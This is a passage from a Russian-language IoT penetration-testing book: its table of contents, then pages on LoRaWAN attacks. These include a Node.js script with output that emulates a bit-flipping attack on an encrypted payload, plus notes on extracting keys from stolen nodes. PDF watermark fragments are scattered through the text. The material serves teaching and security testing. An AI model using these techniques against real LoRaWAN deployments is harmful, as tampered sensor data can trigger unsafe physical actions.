- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Узлу не нужны DevEUI, AppEUI или AppKey; он может начать пря- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
мую отправку сообщений с данными в сеть. Шлюз , как обычноdf,-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
пересылает сообщения на сетевой сервер, не обращая внимания на их содержимое.Сетевой сервер уже предварительно настроен с по мощью DevAddr,NwkSKeyи AppSKey,поэтому он может проверять и рас- шифровывать сообщения, отправленные узлом, а затем шифровать и отправлять сообщения обратно на него.
Атаки на LoRaWAN
Злоумышленник может использовать множество возможных век- торов для взлома LoRaWAN, в зависимости от конфигурации сети и развертывания устройств. В этом разделе мы обсудим следующие векторы: слабые места генерации ключей и управления ими, атаки повторного воспроизведения, атаки с переключением битов, спу- финг ACK и уязвимости приложений. Мы покажем пример реализа- ции атаки с заменой битов, а все прочее оставим вам для самостоя- тельной практики. Чтобы проработать некоторые другие атаки, вам, возможно,потребуется приобрести шлюз LoRaWAN и настроить свою собственную сеть и сервер приложений, обсуждение которых выхо- дит за рамки этой главы.
Атаки с заменой битов
Атака с заменой битов происходит, когда злоумышленник изменяет небольшуючастьзашифрованноготекставзакодированнойполезной информации приложения (FRMPayload, описанная в предыдущем разделе), не расшифровывая пакет, и сервер принимает измененное сообщение. Эта часть может представлять один или несколько битов. В любом случае влияние этой атаки зависит от того, какое значение изменил злоумышленник; например, если это значение давления воды, измеренное датчиком гидроэлектростанции, сервер приложе- ний может по ошибке открыть определенные заслонки.
Два основных сценария могут позволить этой атаке быть ус пешной.
zzСеть и сервер приложений являются разными объектами и вза- имодействуют через незащищенный канал. LoRaWAN не ука- зывает, как два сервера должны соединяться. Это означает, что целостность сообщения проверяется только на сетевом серве- ре (с помощью NwkSKey). Злоумышленник может изменить за- шифрованный текст между двумя серверами. Поскольку сервер приложений имеет только AppSKey, а не NwkSKey, нет никакого способа проверитьцелостностьпакета,поэтому сервер не может узнать, получил ли он злонамеренно измененный пакет.
zzЕсли сеть и сервер приложений являются одним и тем же объек- том, атака возможна, если сервер воздействует на FRMPayload,
Радио дальнего действия: LPWAN 377
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
расшифровывая и используя его значение до того, как сервер |
|
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
|||
|
w Click |
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
проверит MIC. |
|
w |
|
df-x chan |
|
o |
|
||||
|
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
Мы продемонстрируем, как эта атака будет работать, эмулируя ее с помощью утилиты lora-packet библиотеки Node.js, которая также должна пролитьсветнато,как пакетLoRaWAN выглядитна практике. Библиотека Node.js– это среда выполнения JavaScript с открытым ис- ходным кодом, которая позволяет выполнять код JavaScript вне брау- зера. Перед началом убедитесь, что вы установили Node.js.Установка npm через apt-get также приведет к установке Node.js.
Установите менеджер пакетов npm, который можно использовать для установки библиотеки lora-packet. В Kali можно использовать следующую команду:
# apt-get install npm
Затем загрузите lora-packet с GitHub https://github.com/anthonykirby/ lora-packet/ или установите ее напрямую с помощью npm:
# npm install lora-packet
Затем вы можете запустить код из листинга 13.4, как любой испол- няемый скрипт. Скопируйте его в файл, измените его разрешения на выполнение с помощью команды chmod a+x <имя_скрипта>.js и запус тите ее в терминале. Сценарий создает пакет LoRaWAN и имитирует атаку с переключением битов, изменяя определенную его часть без предварительного ее дешифрования.
Листинг 13.4. Демонстрация атаки на полезную нагрузку LoRaWAN с заменой битов с использованием библиотеки lora-packet
#!/usr/bin/env node
var lora_packet = require('lora-packet');
var AppSKey = new Buffer('ec925802ae430ca77fd3dd73cb2cc588', 'hex'); var packet = lora_packet.fromFields({
MType: 'Unconfirmed Data Up',
DevAddr: new Buffer('01020304', 'hex'), // обратный порядок байтов
FCtrl: {
ADR: false, ACK: true,
ADRACKReq: false, FPending: false
},
payload: 'RH:60',
}
,AppSKey
,new Buffer("44024241ed4ce9a68c6a8bc055233fd3", 'hex') // NwkSKey
);
378 Глава 13
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
console.log("original packet: \n" + packet);
var packet_bytes = packet.getPHYPayload().toString('hex'); console.log("hex: " + packet_bytes);
console.log("payload: " + lora_packet.decrypt(packet, AppSKey, null).toString());
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
var target = packet_bytes; var index = 24;
target = target.substr(0, index) + '1' + target.substr(index + 1);
console.log("\nattacker modified packet");
var changed_packet = lora_packet.fromWire(new Buffer(target, 'hex')); console.log("hex: " + changed_packet.getPHYPayload().toString('hex'));
console.log("payload: " + lora_packet.decrypt(changed_packet, AppSKey, null).toString());
Сначала мы пишем node , чтобы указать, что этот код будет вы- полняться интерпретатором Node.js. Затем импортируем модуль lo- ra-packet с помощью директивы require и сохраняем его в объекте lora_packet.ЗначениеAppSKey насамомделенеимеетзначениядля этого упражнения, но оно должно быть ровно 128 бит.
Мы создаем пакет LoRa, который будет служить целью злоумыш- ленника . Вывод нашего скрипта также отображает поля пакета. Поле MType MHDR указывает, что это сообщение данных, поступа- ющее от узлового устройства без ожидания подтверждения от сер- вера. Четырехбайтовый DevAddr является частью FHDR. Полезная информация прикладного уровня–это значение RH:60.RH обозна- чает относительную влажность (relative humidity),указывая нато,что это сообщение исходит от датчика окружающей среды. Эта полезная информация соответствует FRMPayload (показанной в следующих выходных данных), которую мы получили, зашифровав исходную полезную нагрузку (RH:60) с помощью AppSKey. Затем мы используем функции библиотеки lora-packet для подробной распечатки полей пакета, его байтов в шестнадцатеричной форме и расшифрованных полезных данных приложения .
Затем выполняем атаку с изменением битов . Копируем байты пакета в целевую переменную, именно так злоумышленник перехва- тит пакет. Далее следует выбрать позицию внутри пакета, где нужно внести изменения. Мы выбрали позицию 24, которая соответствует значению RH – целочисленному значению полезной нагрузки после преамбулыRH: (котораяявляетсястроковойчастью).Злоумышленник обычно должен угадать местонахождение данных, которые он хочет изменить, если заранее не знает формат полезной нагрузки.
Наконец,мы печатаем измененный пакет ,и,как видно из следу- ющих выходных данных, расшифрованная полезная нагрузка теперь имеет значение RH, равное 0.
root@kali:~/lora# ./dec.js original packet:
Message Type = Data
PHYPayload = 400403020120010001EC49353984325C0ECB
Радио дальнего действия: LPWAN 379
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
( PHYPayload |
= MHDR[1] | MACPayload[..] | MIC[4] ) |
MHDR |
= 40 |
MACPayload |
= 0403020120010001EC49353984 |
MIC |
= 325C0ECB |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
( MACPayload |
= FHDR | FPort | FRMPayload ) |
FHDR |
= 04030201200100 |
FPort |
= 01 |
FRMPayload |
= EC49353984 |
( FHDR |
= DevAddr[4] | FCtrl[1] | FCnt[2] | FOpts[0..15] ) |
DevAddr |
= 01020304 (Big Endian) |
FCtrl |
= 20 |
FCnt |
= 0001 (Big Endian) |
FOpts |
= |
Message Type |
= Unconfirmed Data Up |
Direction |
= up |
FCnt |
= 1 |
FCtrl.ACK |
= true |
FCtrl.ADR |
= false |
hex: 400403020120010001ec49353984325c0ecb payload: RH:60
attacker modified packet
hex: 400403020120010001ec49351984325c0ecb payload: RH:0
Первый выделенный элемент в начальной шестнадцатеричной строке – MHDR (40), а следующий (ec49353984) – полезная нагрузка. После этого идет MIC (325c0ecb).Во второй шестнадцатеричной стро- ке, показывающей измененный пакет атакующего в шестнадцате- ричном формате,мы выделяемту частьполезной информации,кото- рая была изменена.Обратите внимание на то,что MIC не изменился, потому что злоумышленник не знает NwkSKey,чтобы пересчитать его.
Генерация ключей и управление ими
Многие атаки способны извлечь три криптографических ключа LoRaWAN. Одна из причин этого заключается в том, что узлы могут находиться в небезопасных или неконтролируемых физических ме- стах – например, датчики температуры на ферме или датчики влаж- ности на открытом воздухе.Это означает,что злоумышленник может украсть узел, извлечь ключи (либо AppKey из узлов, активированных OTAA, либо жестко запрограммированные NwkSKeyи AppSKey из узлов ABP),а затем перехватитьили подделатьсообщения отлюбогодруго- го узла,который может использоватьте же ключи.Атакующий может также применить методы вроде анализа побочного канала, обнару- живая изменения в потребляемой мощности или электромагнитном излучении во время шифрования AES, чтобы определить значение ключа.
380 Глава 13